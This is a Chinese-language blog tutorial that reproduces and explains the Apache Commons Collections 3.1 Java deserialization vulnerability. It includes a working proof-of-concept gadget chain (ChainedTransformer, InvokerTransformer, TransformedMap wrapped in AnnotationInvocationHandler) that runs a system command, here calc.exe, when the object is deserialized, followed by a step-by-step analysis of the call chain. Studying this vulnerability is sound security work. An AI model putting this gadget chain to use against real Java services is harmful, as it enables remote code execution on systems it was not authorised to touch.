Apache Commons Collections反序列化漏洞

smileleooo發表於2024-05-08

目錄
  • 復現
    • 環境準備
    • POC
  • 漏洞原理分析
    • 構造反射鏈
    • TransformedMap利用鏈

Apache Commons Collections 的反序列化漏洞在2015年被曝光,引起了廣泛的關注,算是 java 歷史上最出名同時也是最具有代表性的反序列化漏洞。

復現

環境準備

  • jdk 1.7 版本
    下載壓縮包連結:https://pan.baidu.com/s/1jdS4L9Yi4Gtrn8NYgwDhNQ 提取碼:l2wv

  • commons-collections-3.1 jar
    下載Jar包連結:https://nowjava.com/jar/detail/m02261225/commons-collections-3.1.jar.html

POC

直接看其他師傅們的POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class POC4 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");

        Map outerMap = TransformedMap.decorate(innerMap,null,chain);

        // 透過反射機制例項化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模擬反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

image

上面的復現使用的 payload 經過反序列化過後會執行:Runtime.getRuntime().exec("calc.exe"),造成了本地命令執行,接下來就一步步探究這個漏洞是如何產生的。

漏洞原理分析

構造反射鏈

看到這個POC,首先關注 InvokerTransformer 這個物件,它是執行惡意程式碼的主要問題所在。首先看看這個類的建構函式,其中 this.iMethodName 是方法名, this.iParamTypes 是引數型別,this.iArgs 是引數的值。

image

它的 transform 方法很明顯呼叫了 java 的反射機制,傳入 input 是類名,利用反射拿到類名和方法名。方法的引數和型別是我們可以透過建構函式直接傳入的。現在只要 input 也是可控的,那我們就可以執行任意物件的任意方法。

image

我們的目標是達到遠端執行命令的效果,所以現在就是想辦法直接傳入 Runtime 類的例項物件。

巧的是,有個類 ChainedTransformer,該類中也有一個 transform 方法:

image

該類的建構函式接收一個 Transformer 型別的陣列,並且在 transform 方法中會遍歷這個陣列,並呼叫陣列中的每一個成員的 transform 方法。

還有一個類 ConstantTransformer,它同樣有一個 transform 方法,就是返回 iConstant,而 this.iConstant 又來自它的建構函式。
image

所以我們例項化 ConstantTransformer 時傳入一個 Runtime.class 返回的也是 Runtime.class。

到這裡已經介紹了三個 transfromer 類和三個 transform 方法:

InvokerTransformer ConstantTransformer ChainedTransformer
建構函式接受三個引數 建構函式接受一個引數 建構函式接受一個TransFormer型別的陣列
transform方法透過反射可以執行一個物件的任意方法 transform返回建構函式傳入的引數 transform方法執行建構函式傳入陣列的每一個成員的transform方法

現在嘗試把這幾個 transformer 組合起來構造一個執行鏈:

// TransFormer 型別的陣列
Transformer[] transformers_exec = new Transformer[]{
	// 傳入 Runtime 類
	new ConstantTransformer(Runtime.class),
	// 反射呼叫 getMethod 方法,然後 getMethod 方法再反射呼叫 getRuntime 方法,返回 Runtime.getRuntime() 方法
	new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
	// 反射呼叫 invoke 方法,然後反射執行 Runtime.getRuntime() 方法,返回 Runtime 例項化物件
	new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
	// 反射呼叫 exec 方法
	new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers_exec);

這樣一個反射鏈條就構造好了,給一個初始的 object,然後輸出作為下一個輸入,從而實現鏈式呼叫。

大致過程如下:

  1. ChianedTransformer 的 transform 是一個迴圈呼叫該類裡面的 transformer 的 transform 方法

  2. 首先呼叫 ConstantTransformer("java.Runtime")

  3. 第一次呼叫 InvokerTransformer 物件 getMethod("getRuntime",null) 方法,引數為 ("java.Runtime") 會返回一個Runtime.getRuntime()方法,但還沒有執行

  4. 第二次呼叫 InvokerTransformer 物件 Invoke(null,null) 方法,引數為 Runtime.getRuntime(),那麼會返回一個 Runtime 物件例項

  5. 第三次呼叫 InvokerTransformer 物件 exec("clac.exe") 方法,引數為一個 Runtime 的物件例項,呼叫了物件的方法,會執行彈出計算器操作

反射鏈就構造完畢了,現在要做的就是怎麼觸發 ChainedTransformer 的 transform 方法。

TransformedMap利用鏈

存在一些類,如 TransformedMapAnnotationInvocationHandler,重寫 readObject() 方法,在反序列化時會自動執行這些方法,來達到觸發 transform 方法的目的。

在 TransformedMap 類中的三個方法 transformKeytransformValuecheckSetValue 都會觸發 transform 方法。

現在找到了能夠觸發 transform 的地方,但是這還是不能在反序列化的時候自動觸發。在反序列化只會自動觸發 readObject() 方法,所以現在需要找一個類重寫了 readObject()。

在 TransformedMap 裡的每個 entryset 在呼叫 setValue 方法時會自動呼叫 TransformedMap 類的 checkSetValue 方法。

那麼就要尋找這樣一個類:這個類的 readObject 方法中對某個 Map 型別的屬性的 entry 進行了 setValue 操作。

恰好就有這個類 AbstractInputCheckedMapDecorator, 呼叫 java 的自帶類 AnnotationInvocationHandler 中重寫的 readObject 方法,該方法呼叫時會先將 map 轉為 Map.entry,然後執行 setvalue 操作。

image

執行 setValue() 方法,就會到 checkSetValue() 方法:

image

到 checkSetValue() 方法,就會執行 transform 方法,從而實現整個利用鏈。

image

綜上所述整個呼叫鏈:

  1. ->ObjectInputStream.readObject()

  2. ->AnnotationInvocationHandler.readObject()

  3. ->TransformedMap.entrySet().iterator().next().setValue()

  4. ->TransformedMap.checkSetValue()

  5. ->TransformedMap.transform()

  6. ->ChainedTransformer.transform()

對於 jdk 1.8 來說,AnnotationInvocationHandler 類中的這個關鍵的觸發點 setValue 發生了改變。所以就無法利用了。

jdk 1.8 有一個 LazyMap 利用鏈。

參考文章:
https://esonhugh.gitbook.io/javasec/3.-apache-commonscollections-zhong-de-fan-xu-lie-hua
https://xz.aliyun.com/t/8500
https://xz.aliyun.com/t/4711


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章